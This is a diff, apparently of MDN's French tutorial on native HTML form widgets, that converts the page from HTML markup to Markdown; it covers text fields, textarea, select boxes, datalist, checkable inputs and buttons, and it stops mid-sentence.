+Ce type de champ se définit avec la valeur `search` de l'attribut {{htmlattrxref("type","input")}} : -<pre class="brush: html"> <input type="search" id="search" name="search"></pre> +```html + <input type="search" id="search" name="search"> +``` -<p>La principale différence entre un champ textuel et un champ de recherche est dans l'apparence — souvent, les champs de recherche sont affichés avec des coins arrondis, et/ou avec une « × » à cliquer pour effacer la valeur entrée. Toutefois, une fonction est aussi ajoutée : les valeurs saisies peuvent être automatiquement enregistrées afin d'être utilisées pour compléter des recherches sur plusieurs pages du même site.</p> +La principale différence entre un champ textuel et un champ de recherche est dans l'apparence — souvent, les champs de recherche sont affichés avec des coins arrondis, et/ou avec une « × » à cliquer pour effacer la valeur entrée. Toutefois, une fonction est aussi ajoutée : les valeurs saisies peuvent être automatiquement enregistrées afin d'être utilisées pour compléter des recherches sur plusieurs pages du même site. -<p><img alt="Screenshots of search fields on several platforms." src="all-search-field.png"></p> + -<h4 id="Champ_pour_numéro_de_téléphone">Champ pour numéro de téléphone</h4> +#### Champ pour numéro de téléphone -<p>Ce type de champ se définit en donnant la valeur <code>tel</code> à l'attribut {{htmlattrxref("type","input")}} :</p> +Ce type de champ se définit en donnant la valeur `tel` à l'attribut {{htmlattrxref("type","input")}} : -<pre class="brush: html"> <input type="tel" id="tel" name="tel"></pre> +```html + <input type="tel" id="tel" name="tel"> +``` -<p>À cause de la grande variété de formats de numéros de téléphones à travers le monde, ce type de champ n'ajoute pas de contrainte à la valeur saisie par l'utilisateur. C'est principalement une différence sémantique, bien que sur certains appareils (notamment mobiles) un clavier virtuel différent, mieux adapté à la saisie de numéros de téléphone, puisse être présenté.</p> +À cause de la grande variété de formats de numéros de téléphones à travers le monde, ce type de champ n'ajoute pas de contrainte à la valeur saisie par l'utilisateur. C'est principalement une différence sémantique, bien que sur certains appareils (notamment mobiles) un clavier virtuel différent, mieux adapté à la saisie de numéros de téléphone, puisse être présenté. -<h4 id="Champ_dURL">Champ d'URL</h4> +#### Champ d'URL -<p>Ce type de champ se définit en donnant la valeur <code>url</code> à l'attribut {{htmlattrxref("type","input")}} :</p> +Ce type de champ se définit en donnant la valeur `url` à l'attribut {{htmlattrxref("type","input")}} : -<pre class="brush: html"> <input type="url" id="url" name="url"></pre> +```html + <input type="url" id="url" name="url"> +``` -<p>Il ajoute une contrainte de validation spéciale du champ ; le navigateur renvoie une erreur si une URL invalide est saisie.</p> +Il ajoute une contrainte de validation spéciale du champ ; le navigateur renvoie une erreur si une URL invalide est saisie. -<div class="note"> - <p><strong>Note :</strong> ce n'est pas parce qu'une URL est bien formée qu'elle pointe vers un emplacement qui existe réellement.</p> -</div> +> **Note :** ce n'est pas parce qu'une URL est bien formée qu'elle pointe vers un emplacement qui existe réellement. -<div class="note"> -<p><strong>Note :</strong> La présence de champs avec contraintes spéciales considérés comme erronés bloquent l'envoi du formulaire. De plus, leur apparence peut être adaptée afin de mettre en évidence l'erreur. Nous allons discuter de cela dans l'article <a href="/fr/docs/HTML/Formulaires/Validation_de_formulaires" title="/fr/docs/HTML/Formulaires/Validation_de_formulaire">Validation de formulaires</a>.</p> -</div> +> **Note :** La présence de champs avec contraintes spéciales considérés comme erronés bloquent l'envoi du formulaire. De plus, leur apparence peut être adaptée afin de mettre en évidence l'erreur. Nous allons discuter de cela dans l'article [Validation de formulaires](/fr/docs/HTML/Formulaires/Validation_de_formulaires "/fr/docs/HTML/Formulaires/Validation_de_formulaire"). -<h3 id="Champs_texte_multilignes">Champs texte multilignes</h3> +### Champs texte multilignes -<p>Un champ texte sur plusieurs lignes se définit avec l'élément {{HTMLElement("textarea")}}, et non avec l'élément {{HTMLElement("input")}}.</p> +Un champ texte sur plusieurs lignes se définit avec l'élément {{HTMLElement("textarea")}}, et non avec l'élément {{HTMLElement("input")}}. -<pre class="brush: html"> <textarea cols="30" rows="10"></textarea></pre> +```html + <textarea cols="30" rows="10"></textarea> +``` -<p>La principale différence entre un champ <code>textarea</code> et un champ monoligne est que, dans un textarea, l'utilisateur peut saisir du texte avec des sauts de ligne en dur (c'est à dire en pressant la touche <code>Retour</code>).</p> +La principale différence entre un champ `textarea` et un champ monoligne est que, dans un textarea, l'utilisateur peut saisir du texte avec des sauts de ligne en dur (c'est à dire en pressant la touche `Retour`). -<p><img alt="Screenshots of multi-lines text fields on several platforms." src="all-multi-lines-text-field.png"></p> + -<div class="note"> -<p><strong>Note :</strong> Vous trouverez un exemple de champ texte multiligne sur GitHub à l'adresse <a href="https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/multi-line-text-field.html">multi-line-text-field.html</a> (voir aussi <a href="https://mdn.github.io/learning-area/html/forms/native-form-widgets/multi-line-text-field.html">directement</a>). Jetez-y un coup d'œil, et remarquez que dans la plupart des navigateurs, la zone de texte est dotée d'une poignée d'étirement en bas à droite pour permettre à l'utilisateur de la redimensionner. Cette capacité de redimensionnement peut être désactivée en réglant la propriété {{cssxref("resize")}} de la zone de texte à <code>none</code> dans les CSS.</p> -</div> +> **Note :** Vous trouverez un exemple de champ texte multiligne sur GitHub à l'adresse [multi-line-text-field.html](https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/multi-line-text-field.html) (voir aussi [directement](https://mdn.github.io/learning-area/html/forms/native-form-widgets/multi-line-text-field.html)). Jetez-y un coup d'œil, et remarquez que dans la plupart des navigateurs, la zone de texte est dotée d'une poignée d'étirement en bas à droite pour permettre à l'utilisateur de la redimensionner. Cette capacité de redimensionnement peut être désactivée en réglant la propriété {{cssxref("resize")}} de la zone de texte à `none` dans les CSS. -<p>{{htmlelement("textarea")}} accepte également quelques attributs pour contrôler son rendu sur plusieurs lignes (outre plusieurs autres) :</p> +{{htmlelement("textarea")}} accepte également quelques attributs pour contrôler son rendu sur plusieurs lignes (outre plusieurs autres) : -<table> - <caption>Attributs pour l'élément {{HTMLElement("textarea")}}</caption> - <thead> - <tr> - <th scope="col">Nom de l'attribut</th> - <th scope="col">Valeur par défaut</th> - <th scope="col">Description</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{htmlattrxref("cols","textarea")}}</td> - <td><code>20</code></td> - <td>Largeur visible de la boîte de contrôle texte, mesurée en largeurs de caractères.</td> - </tr> - <tr> - <td>{{htmlattrxref("rows","textarea")}}</td> - <td></td> - <td>Nombre de lignes de texte visibles dans la boîte de contrôle.</td> - </tr> - <tr> - <td>{{htmlattrxref("wrap","textarea")}}</td> - <td><code>soft</code></td> - <td>Indique comment le contrôle va à la ligne. Les valeurs possibles sont : <code>hard</code> ou <code>soft</code></td> - </tr> - </tbody> -</table> +| Nom de l'attribut | Valeur par défaut | Description | +| ------------------------------------------------ | ----------------- | ---------------------------------------------------------------------------------------- | +| {{htmlattrxref("cols","textarea")}} | `20` | Largeur visible de la boîte de contrôle texte, mesurée en largeurs de caractères. | +| {{htmlattrxref("rows","textarea")}} | | Nombre de lignes de texte visibles dans la boîte de contrôle. | +| {{htmlattrxref("wrap","textarea")}} | `soft` | Indique comment le contrôle va à la ligne. Les valeurs possibles sont : `hard` ou `soft` | -<p>Notez que l'élément {{HTMLElement("textarea")}} est écrit un peu différemment de l'élément {{HTMLElement("input")}}. Ce dernier est un élément vide, ce qui signifie qu'il ne peut pas contenir d'élément enfant. A contrario, l'élément {{HTMLElement("textarea")}} est un élément régulier pouvant contenir des enfants contenus de texte.</p> +Notez que l'élément {{HTMLElement("textarea")}} est écrit un peu différemment de l'élément {{HTMLElement("input")}}. Ce dernier est un élément vide, ce qui signifie qu'il ne peut pas contenir d'élément enfant. A contrario, l'élément {{HTMLElement("textarea")}} est un élément régulier pouvant contenir des enfants contenus de texte. -<p>Deux points clés à noter ici :</p> +Deux points clés à noter ici : -<ul> - <li>Si vous voulez définir une valeur par défaut pour un élément {{HTMLElement("input")}}, vous devez utiliser l'attribut <code>value</code> ; avec un élément {{HTMLElement("textarea")}} mettez le texte par défaut entre la balise ouvrante et la balise fermante du dit élément.</li> - <li>Par nature, l'élément {{HTMLElement("textarea")}} n'accept que des contenus textuels ; ce qui signifie que si du contenu HTML est placé dans un élément {{HTMLElement("textarea")}} il sera restitué sous forme de texte brut.</li> -</ul> +- Si vous voulez définir une valeur par défaut pour un élément {{HTMLElement("input")}}, vous devez utiliser l'attribut `value` ; avec un élément {{HTMLElement("textarea")}} mettez le texte par défaut entre la balise ouvrante et la balise fermante du dit élément. +- Par nature, l'élément {{HTMLElement("textarea")}} n'accept que des contenus textuels ; ce qui signifie que si du contenu HTML est placé dans un élément {{HTMLElement("textarea")}} il sera restitué sous forme de texte brut. -<h2 id="Contenu_déroulant">Contenu déroulant</h2> +## Contenu déroulant -<p>Les widgets déroulants sont une manière simple de permettre à l'utilisateur de choisir une option parmi plusieurs sans que cela prenne trop de place dans l'interface utilisateur. HTML dispose de deux types de contenus déroulants la <strong>boîte à sélections</strong> et la <strong>boîte à complétement automatique</strong>. Dans les deux cas l'interation est identique. Une fois le contrôle activé, le navigateur affiche une liste de valeurs ouverte au choix de l'utilisateur.</p> +Les widgets déroulants sont une manière simple de permettre à l'utilisateur de choisir une option parmi plusieurs sans que cela prenne trop de place dans l'interface utilisateur. HTML dispose de deux types de contenus déroulants la **boîte à sélections** et la **boîte à complétement automatique**. Dans les deux cas l'interation est identique. Une fois le contrôle activé, le navigateur affiche une liste de valeurs ouverte au choix de l'utilisateur. -<h3 id="Boîte_à_sélection">Boîte à sélection</h3> +### Boîte à sélection -<p>Une boîte à sélection est créée avec l'élément {{HTMLElement("select")}} complétée d'un ou plusieurs éléments enfants {{HTMLElement("option")}} définissant les valeurs possibles.</p> +Une boîte à sélection est créée avec l'élément {{HTMLElement("select")}} complétée d'un ou plusieurs éléments enfants {{HTMLElement("option")}} définissant les valeurs possibles. -<pre class="brush: html"> <select> - <option>Banane</option> - <option>Cerise</option> - <option>Citron</option> - </select></pre> +```html + <select> + <option>Banane</option> + <option>Cerise</option> + <option>Citron</option> + </select> +``` -<p>Si nécessaire, la valeur par défaut de la boîte de sélection peut être définie en utilisant l'attribut {{htmlattrxref("selected","option")}} dans l'élément {{HTMLElement("option")}} désiré. Les éléments {{HTMLElement("option")}} peuvent être imbriqués dans des éléments {{HTMLElement("optgroup")}} pour créer des groupes de valeurs associées :</p> +Si nécessaire, la valeur par défaut de la boîte de sélection peut être définie en utilisant l'attribut {{htmlattrxref("selected","option")}} dans l'élément {{HTMLElement("option")}} désiré. Les éléments {{HTMLElement("option")}} peuvent être imbriqués dans des éléments {{HTMLElement("optgroup")}} pour créer des groupes de valeurs associées : -<pre class="brush: html"> <select> - <optgroup label="Fruits"> - <option>Banane</option> - <option selected>Cerise</option> - <option>Citron</option> - </optgroup> - <optgroup label="Légumes"> - <option>Carotte</option> - <option>Aubergine</option> - <option>Pomme de terre</option> - </optgroup> - </select></pre> +```html + <select> + <optgroup label="Fruits"> + <option>Banane</option> + <option selected>Cerise</option> + <option>Citron</option> + </optgroup> + <optgroup label="Légumes"> + <option>Carotte</option> + <option>Aubergine</option> + <option>Pomme de terre</option> + </optgroup> + </select> +``` -<p><img alt="Screenshots of single line select box on several platforms." src="all-select.png"></p> + -<p>Si un élément {{HTMLElement("option")}} est défini avec l'attribut <code>value</code>, la valeur de cet attribut est envoyée lorsque le formulaire est soumis. Si l'attribut <code>value</code> est omis, le contenu de l'élément {{HTMLElement("option")}} est utilisé comme valeur de la boîte de sélection.</p> +Si un élément {{HTMLElement("option")}} est défini avec l'attribut `value`, la valeur de cet attribut est envoyée lorsque le formulaire est soumis. Si l'attribut `value` est omis, le contenu de l'élément {{HTMLElement("option")}} est utilisé comme valeur de la boîte de sélection. -<p>Sur l'élément {{HTMLElement("optgroup")}}, l'attribut <code>label</code> est affiché avant les valeurs, mais même s'il ressemble un peu à une option, il n'est pas sélectionnable.</p> +Sur l'élément {{HTMLElement("optgroup")}}, l'attribut `label` est affiché avant les valeurs, mais même s'il ressemble un peu à une option, il n'est pas sélectionnable. -<h3 id="Boîte_à_sélections_multiples">Boîte à sélections multiples</h3> +### Boîte à sélections multiples -<p>Par défaut, une boîte de sélection ne permet à l'utilisateur de ne sélectionner qu'une seule valeur. En ajoutant l'attribut {{htmlattrxref("multiple","select")}} à l'élément {{HTMLElement("select")}}, l'utilisateur peut sélectionner plusieurs valeurs en utilisant le mécanisme par défaut du système d'exploitation (par ex. en pressant <kbd>Cmd</kbd>/<kbd>Ctrl</kbd> et en cliquant sur plusieur valeurs).</p> +Par défaut, une boîte de sélection ne permet à l'utilisateur de ne sélectionner qu'une seule valeur. En ajoutant l'attribut {{htmlattrxref("multiple","select")}} à l'élément {{HTMLElement("select")}}, l'utilisateur peut sélectionner plusieurs valeurs en utilisant le mécanisme par défaut du système d'exploitation (par ex. en pressant <kbd>Cmd</kbd>/<kbd>Ctrl</kbd> et en cliquant sur plusieur valeurs). -<p>Dans ce cas toutefois, la boîte d'utilisateur n'affiche plus les valeurs sous forme d'un menu déroulant. Les valeurs sont toutes affichées dans une liste.</p> +Dans ce cas toutefois, la boîte d'utilisateur n'affiche plus les valeurs sous forme d'un menu déroulant. Les valeurs sont toutes affichées dans une liste. -<pre class="brush: html"> <select multiple> - <option>Banane</option> - <option>Cerise</option> - <option>Citron</option> - </select></pre> +```html + <select multiple> + <option>Banane</option> + <option>Cerise</option> + <option>Citron</option> + </select> +``` -<p><img alt="Screenshots of multi-lines select box on several platforms." src="all-multi-lines-select.png"></p> + -<div class="note"> - <p><strong>Note :</strong> tous les navigateurs prenant en charge l'élément {{HTMLElement("select")}} prennent aussi en charge l'attribut {{htmlattrxref("multiple","select")}} sur lui.</p> -</div> +> **Note :** tous les navigateurs prenant en charge l'élément {{HTMLElement("select")}} prennent aussi en charge l'attribut {{htmlattrxref("multiple","select")}} sur lui. -<h3 id="Contenus_auto-complétés">Contenus auto-complétés</h3> +### Contenus auto-complétés -<p>Vous pouvez suggérer des valeurs d'auto-complémentation pour les widgets avec un élément {{HTMLElement("datalist")}} accompagné d'éléments enfants {{HTMLElement("option")}} précisant les valeurs à afficher.</p> +Vous pouvez suggérer des valeurs d'auto-complémentation pour les widgets avec un élément {{HTMLElement("datalist")}} accompagné d'éléments enfants {{HTMLElement("option")}} précisant les valeurs à afficher. -<p>La liste de données est alors liée à un champ texte (généralement un élément <code>input</code>) avec l'attribut {{htmlattrxref("list","input")}}.</p> +La liste de données est alors liée à un champ texte (généralement un élément `input`) avec l'attribut {{htmlattrxref("list","input")}}. -<p>Une fois la liste de données affiliée au widget de formulaire, ses options s'utilisent comme complémentation du texte saisi par l'utilisateur ; cela se présente généralement à l'utilisateur sous forme d'une boîte déroulante listant des correspondances possibles avec ce qui doit être saisi dans la boîte.</p> +Une fois la liste de données affiliée au widget de formulaire, ses options s'utilisent comme complémentation du texte saisi par l'utilisateur ; cela se présente généralement à l'utilisateur sous forme d'une boîte déroulante listant des correspondances possibles avec ce qui doit être saisi dans la boîte. -<pre class="brush: html"> <label for="onFruit">Quel est votre fruit préféré ?</label> - <input type="text" id="onFruit" list="maSuggestion" /> - <datalist id="maSuggestion"> - <option>Pomme</option> - <option>Banane</option> - <option>Mûre</option> - <option>Airelles</option> - <option>Citron</option> - <option>Litchi</option> - <option>Pêche</option> - <option>Poire</option> - </datalist></pre> +```html + <label for="onFruit">Quel est votre fruit préféré ?</label> + <input type="text" id="onFruit" list="maSuggestion" /> + <datalist id="maSuggestion"> + <option>Pomme</option> + <option>Banane</option> + <option>Mûre</option> + <option>Airelles</option> + <option>Citron</option> + <option>Litchi</option> + <option>Pêche</option> + <option>Poire</option> + </datalist> +``` -<div class="note"> - <p><strong>Note :</strong> Selon la <a href="http://www.w3.org/TR/html5/common-input-element-attributes.html#attr-input-list" rel="external">norme HTML</a>, l'attribut {{htmlattrxref("list","input")}} et l'élément {{HTMLElement("datalist")}} peuvent s'utiliser avec tout type de widget nécessitant une saisie utilisateur. Toutefois, les modalités de ce fonctionnement ne sont pas claire pour des contrôles autres que textuels (de couleur ou de date par ex.) et les divers navigateurs se comporteront de manière différente selon le cas. Pour cette raison, soyez prudent en utilisant cette fonctionnalité avec autre chose que des champs textuels.</p> -</div> +> **Note :** Selon la [norme HTML](http://www.w3.org/TR/html5/common-input-element-attributes.html#attr-input-list), l'attribut {{htmlattrxref("list","input")}} et l'élément {{HTMLElement("datalist")}} peuvent s'utiliser avec tout type de widget nécessitant une saisie utilisateur. Toutefois, les modalités de ce fonctionnement ne sont pas claire pour des contrôles autres que textuels (de couleur ou de date par ex.) et les divers navigateurs se comporteront de manière différente selon le cas. Pour cette raison, soyez prudent en utilisant cette fonctionnalité avec autre chose que des champs textuels. -<div><img alt="Screenshots of datalist on several platforms." src="all-datalist.png"></div> + -<div> -<h4 id="Prise_en_charge_de_Datalist_et_recours">Prise en charge de Datalist et recours</h4> +#### Prise en charge de Datalist et recours -<p>L'élément {{HTMLElement("datalist")}} est un ajout très récent aux formulaires HTML, donc sa prise en charge par les navigateurs est un peu plus limitée que ce que nous avons vu précédemment. En particulier, il n'est pas pris en charge dans les versions d'IE inférieures à 10, et Safari ne le prend toujours pas en charge au moment de la rédaction de cet article.</p> +L'élément {{HTMLElement("datalist")}} est un ajout très récent aux formulaires HTML, donc sa prise en charge par les navigateurs est un peu plus limitée que ce que nous avons vu précédemment. En particulier, il n'est pas pris en charge dans les versions d'IE inférieures à 10, et Safari ne le prend toujours pas en charge au moment de la rédaction de cet article. -<p>Pour gérer cela, voici une petite astuce offrant une bonne solution de repli pour ces navigateurs :</p> +Pour gérer cela, voici une petite astuce offrant une bonne solution de repli pour ces navigateurs : -<pre class="brush:html"><label for="myFruit">Quel est votre fruit préféré ? (avec repli)</label> -<input type="text" id="myFruit" name="fruit" list="fruitList"> +```html +<label for="myFruit">Quel est votre fruit préféré ? (avec repli)</label> +<input type="text" id="myFruit" name="fruit" list="fruitList"> -<datalist id="fruitList"> - <label for="suggestion">ou choisissez un fruit</label> - <select id="suggestion" name="altFruit"> - <option>Pomme</option> - <option>Banane</option> - <option>Mûres</option> - <option>Airelles</option> - <option>Citron</option> - <option>Litchi</option> - <option>Pêche</option> - <option>Poire</option> - </select> -</datalist></pre> +<datalist id="fruitList"> + <label for="suggestion">ou choisissez un fruit</label> + <select id="suggestion" name="altFruit"> + <option>Pomme</option> + <option>Banane</option> + <option>Mûres</option> + <option>Airelles</option> + <option>Citron</option> + <option>Litchi</option> + <option>Pêche</option> + <option>Poire</option> + </select> +</datalist> +``` -<p>Les navigateurs qui prennent en charge l'élément {{HTMLElement("datalist")}} ignoreront tous les éléments qui ne sont pas {{HTMLElement("option")}} et fonctionneront comme prévu. D'autre part, les navigateurs qui ne prennent pas en charge l'élément {{HTMLElement("datalist")}} afficheront l'étiquette et la boîte de sélection. Bien sûr, il y a d'autres façons de gérer ce manque de prise en charge de l'élément {{HTMLElement("datalist")}}, mais c'est la manière la plus simple (d'autres ont besoin de JavaScript).</p> +Les navigateurs qui prennent en charge l'élément {{HTMLElement("datalist")}} ignoreront tous les éléments qui ne sont pas {{HTMLElement("option")}} et fonctionneront comme prévu. D'autre part, les navigateurs qui ne prennent pas en charge l'élément {{HTMLElement("datalist")}} afficheront l'étiquette et la boîte de sélection. Bien sûr, il y a d'autres façons de gérer ce manque de prise en charge de l'élément {{HTMLElement("datalist")}}, mais c'est la manière la plus simple (d'autres ont besoin de JavaScript). <table> - <tbody> - <tr> - <th scope="row">Safari 6</th> - <td><img alt="Screenshot of the datalist element fallback with Safari on Mac OS" src="https://developer.mozilla.org/files/4583/datalist-safari.png"></td> - </tr> - <tr> - <th scope="row">Firefox 18</th> - <td><img alt="Screenshot of the datalist element with Firefox on Mac OS" src="https://developer.mozilla.org/files/4581/datalist-firefox-macos.png"></td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Safari 6</th> + <td> + <img + alt="Screenshot of the datalist element fallback with Safari on Mac OS" + src="https://developer.mozilla.org/files/4583/datalist-safari.png" + /> + </td> + </tr> + <tr> + <th scope="row">Firefox 18</th> + <td> + <img + alt="Screenshot of the datalist element with Firefox on Mac OS" + src="https://developer.mozilla.org/files/4581/datalist-firefox-macos.png" + /> + </td> + </tr> + </tbody> </table> -</div> -<h2 id="Éléments_à_cocher">Éléments à cocher</h2> +## Éléments à cocher -<p>Les éléments à cocher sont des widgets dont l'état se modifie en cliquant sur eux. Il existe deux types d'éléments à cocher : la case à cocher et le bouton radio. Les deux utilisent l'attribut {{htmlattrxref("checked","input")}} pour indiquer si le widget est coché par défaut ou non.</p> +Les éléments à cocher sont des widgets dont l'état se modifie en cliquant sur eux. Il existe deux types d'éléments à cocher : la case à cocher et le bouton radio. Les deux utilisent l'attribut {{htmlattrxref("checked","input")}} pour indiquer si le widget est coché par défaut ou non. -<p>Il est important de noter que ces widgets ne se comportent pas tout à fait comme les autres widgets de formulaires. Pour la plupart des widgets, une fois que le formulaire est envoyé, tous les widgets dont l'attribut {{htmlattrxref("name","input")}} est défini sont envoyés, même s'ils ne sont pas renseignés. Dans le cas des éléments à cocher, leurs valeurs ne sont envoyées que s'ils sont cochés. S'ils ne sont pas cochés, rien n'est envoyé, pas même la valeur de leur attribut <code>name</code>.</p> +Il est important de noter que ces widgets ne se comportent pas tout à fait comme les autres widgets de formulaires. Pour la plupart des widgets, une fois que le formulaire est envoyé, tous les widgets dont l'attribut {{htmlattrxref("name","input")}} est défini sont envoyés, même s'ils ne sont pas renseignés. Dans le cas des éléments à cocher, leurs valeurs ne sont envoyées que s'ils sont cochés. S'ils ne sont pas cochés, rien n'est envoyé, pas même la valeur de leur attribut `name`. -<div class="note"> -<p><strong>Note :</strong> Vous trouverez les exemples de cette section sur GitHub à l'adresse <a href="https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/checkable-items.html">checkable-items.html</a> (<a href="https://mdn.github.io/learning-area/html/forms/native-form-widgets/checkable-items.html">voir directement aussi</a>).</p> -</div> +> **Note :** Vous trouverez les exemples de cette section sur GitHub à l'adresse [checkable-items.html](https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/checkable-items.html) ([voir directement aussi](https://mdn.github.io/learning-area/html/forms/native-form-widgets/checkable-items.html)). -<p>Pour un maximum de convivialité/accessibilité, il est conseillé d'entourer chaque liste d'éléments liés dans un {{htmlelement("fieldset")}}, avec un élément {{htmlelement("legend")}} fournissant une description globale de la liste. Chaque paire individuelle d'éléments {{htmlelement("label")}}/{{htmlelement("input")}} doit être contenue dans son propre élément de liste (ou similaire), comme le montrent les exemples.</p> +Pour un maximum de convivialité/accessibilité, il est conseillé d'entourer chaque liste d'éléments liés dans un {{htmlelement("fieldset")}}, avec un élément {{htmlelement("legend")}} fournissant une description globale de la liste. Chaque paire individuelle d'éléments {{htmlelement("label")}}/{{htmlelement("input")}} doit être contenue dans son propre élément de liste (ou similaire), comme le montrent les exemples. -<p>Vous devez également fournir des valeurs pour ces types d'entrées dans l'attribut <code>value</code> si vous voulez qu'elles aient un sens — si aucune valeur n'est fournie, les cases à cocher et les boutons radio ont la valeur <code>on</code>.</p> +Vous devez également fournir des valeurs pour ces types d'entrées dans l'attribut `value` si vous voulez qu'elles aient un sens — si aucune valeur n'est fournie, les cases à cocher et les boutons radio ont la valeur `on`. -<h3 id="Case_à_cocher">Case à cocher</h3> +### Case à cocher -<p>Une casce à cocher se crée avec l'élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur <code>checkbox</code>.</p> +Une casce à cocher se crée avec l'élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur `checkbox`. -<pre class="brush: html"> <input type="checkbox" checked id="carrots" name="carrots" value="carrots"> -</pre> +```html + <input type="checkbox" checked id="carrots" name="carrots" value="carrots"> +``` -<p>Mettre l'attribut <code>checked</code> fait que la case sera cochée au chargement de la page.</p> +Mettre l'attribut `checked` fait que la case sera cochée au chargement de la page. -<p><img alt="Screenshots of check boxes on several platforms." src="all-checkbox.png"></p> + -<h3 id="Bouton_radio">Bouton radio</h3> +### Bouton radio -<p>Un bouton radio se crée avec un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a la valeur <code>radio</code>.</p> +Un bouton radio se crée avec un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a la valeur `radio`. -<pre class="brush: html"> <input type="radio" checked id="soup" name="meal"></pre> +```html + <input type="radio" checked id="soup" name="meal"> +``` -<p>Plusieurs boutons radio peuvent être liés ensemble. S'ils partagent la même valeur pour leur attribut {{htmlattrxref("name","input")}}, ils seront considérés comme faisant partie d'un seul groupe de boutons. Seulement un bouton à la fois peut être coché par groupe. Ceci signifie que si l'un d'entre eux est coché, tous les autres sont automatiquement décochés. Lorsque le formulaire est envoyé, seule la valeur du bouton coché est envoyée. Si aucun des boutons n'est coché, l'ensemble des boutons du groupe est considéré comme étant dans un état inconnu et aucune valeur n'est envoyée avec le formulaire.</p> +Plusieurs boutons radio peuvent être liés ensemble. S'ils partagent la même valeur pour leur attribut {{htmlattrxref("name","input")}}, ils seront considérés comme faisant partie d'un seul groupe de boutons. Seulement un bouton à la fois peut être coché par groupe. Ceci signifie que si l'un d'entre eux est coché, tous les autres sont automatiquement décochés. Lorsque le formulaire est envoyé, seule la valeur du bouton coché est envoyée. Si aucun des boutons n'est coché, l'ensemble des boutons du groupe est considéré comme étant dans un état inconnu et aucune valeur n'est envoyée avec le formulaire. -<pre class="brush: html"><fieldset> - <legend>Quel est votre mets préféré ?</legend> - <ul> - <li> - <label for="soup">Soupe</label> - <input type="radio" checked id="soup" name="meal" value="soup"> - </li> - <li> - <label for="curry">Curry</label> - <input type="radio" id="curry" name="meal" value="curry"> - </li> - <li> - <label for="pizza">Pizza</label> - <input type="radio" id="pizza" name="meal" value="pizza"> - </li> - </ul> -</fieldset></pre> +```html +<fieldset> + <legend>Quel est votre mets préféré ?</legend> + <ul> + <li> + <label for="soup">Soupe</label> + <input type="radio" checked id="soup" name="meal" value="soup"> + </li> + <li> + <label for="curry">Curry</label> + <input type="radio" id="curry" name="meal" value="curry"> + </li> + <li> + <label for="pizza">Pizza</label> + <input type="radio" id="pizza" name="meal" value="pizza"> + </li> + </ul> +</fieldset> +``` -<p><img alt="Screenshots of radio buttons on several platforms." src="all-radio.png"></p> + -<h2 id="Boutons">Boutons</h2> +## Boutons -<p>Dans les formulaires HTML, il existe trois types de boutons :</p> +Dans les formulaires HTML, il existe trois types de boutons : -<dl> - <dt>Submit</dt> - <dd>Envoie les données du formulaire au serveur.</dd> - <dt>Reset</dt> - <dd>Réinitialise les widgets de formulaire à leurs valeurs par défaut.</dd> - <dt>Anonymous</dt> - <dd>Type de bouton n'ayant pas d'effet prédéfini mais qui peut être personnalisé grâce à du code JavaScript.</dd> -</dl> +- Submit + - : Envoie les données du formulaire au serveur. +- Reset + - : Réinitialise les widgets de formulaire à leurs valeurs par défaut. +- Anonymous + - : Type de bouton n'ayant pas d'effet prédéfini mais qui peut être personnalisé grâce à du code JavaScript. -<p>Un bouton se crée avec un élément {{HTMLElement("button")}} ou un élément {{HTMLElement("input")}}. C'est la valeur de l'attribut {{htmlattrxref("type","input")}} qui définit le type de bouton affiché :</p> +Un bouton se crée avec un élément {{HTMLElement("button")}} ou un élément {{HTMLElement("input")}}. C'est la valeur de l'attribut {{htmlattrxref("type","input")}} qui définit le type de bouton affiché : -<h3 id="submit">submit</h3> +### submit -<pre class="brush: html"> <button type="submit"> - Ceci est un <br><strong>bouton d'envoi</strong> - </button> +```html + <button type="submit"> + Ceci est un <br><strong>bouton d'envoi</strong> + </button> - <input type="submit" value="Ceci est un bouton d'envoi"></pre> + <input type="submit" value="Ceci est un bouton d'envoi"> +``` -<h3 id="reset">reset</h3> +### reset -<pre class="brush: html"> <button type="reset"> - Ceci est un <br><strong>bouton de réinitialisation</strong> - </button> +```html + <button type="reset"> + Ceci est un <br><strong>bouton de réinitialisation</strong> + </button> - <input type="reset" value="Ceci est un bouton de réinitialisation"></pre> + <input type="reset" value="Ceci est un bouton de réinitialisation"> +``` -<h3 id="anonymous">anonymous</h3> +### anonymous -<pre class="brush: html"> <button type="button"> - Ceci est un <br><strong>bouton lambda</strong> - </button> +```html + <button type="button"> + Ceci est un <br><strong>bouton lambda</strong> + </button> - <input type="button" value="Ceci est un bouton lambda"></pre> + <input type="button" value="Ceci est un bouton lambda"> +``` -<p>Les boutons se comportent de la même manière que vous utilisiez l'élément {{HTMLElement("button")}} ou l'élément {{HTMLElement("input")}}. Il existe toutefois quelques différences à noter :</p> +Les boutons se comportent de la même manière que vous utilisiez l'élément {{HTMLElement("button")}} ou l'élément {{HTMLElement("input")}}. Il existe toutefois quelques différences à noter : -<ul> - <li>Comme on peut le voir dans l'exemple précédent, les éléments {{HTMLElement("button")}} autorisent l'utilisation de contenu HTML dans l'étiquette, tandis que les éléments {{HTMLElement("input")}} n'acceptent que du texte brut.</li> - <li>Dans le cas des éléments {{HTMLElement("button")}}, il est possible d'avoir une valeur différente de l'étiquette du bouton (toutefois, ceci ne peut être utilisé pour les versions antérieures à la version 8 d'Internet Explorer).</li> -</ul> +- Comme on peut le voir dans l'exemple précédent, les éléments {{HTMLElement("button")}} autorisent l'utilisation de contenu HTML dans l'étiquette, tandis que les éléments {{HTMLElement("input")}} n'acceptent que du texte brut. +- Dans le cas des éléments {{HTMLElement("button")}}, il est possible d'avoir une valeur différente de l'étiquette du bouton (toutefois, ceci ne peut être utilisé pour les versions antérieures à la version 8 d'Internet Explorer). -<p><img alt="Screenshots of buttons on several platforms." src="all-buttons.png"></p> + -<p>Techniquement parlant, il n'y a pratiquement pas de différence entre un bouton défini avec l'élément {{HTMLElement("button")}} ou l'élément {{HTMLElement("input")}}. La seule différence à noter réside dans l'étiquette du bouton lui-même. Dans un élément {{HTMLElement("input")}}, l'étiquette ne peut être 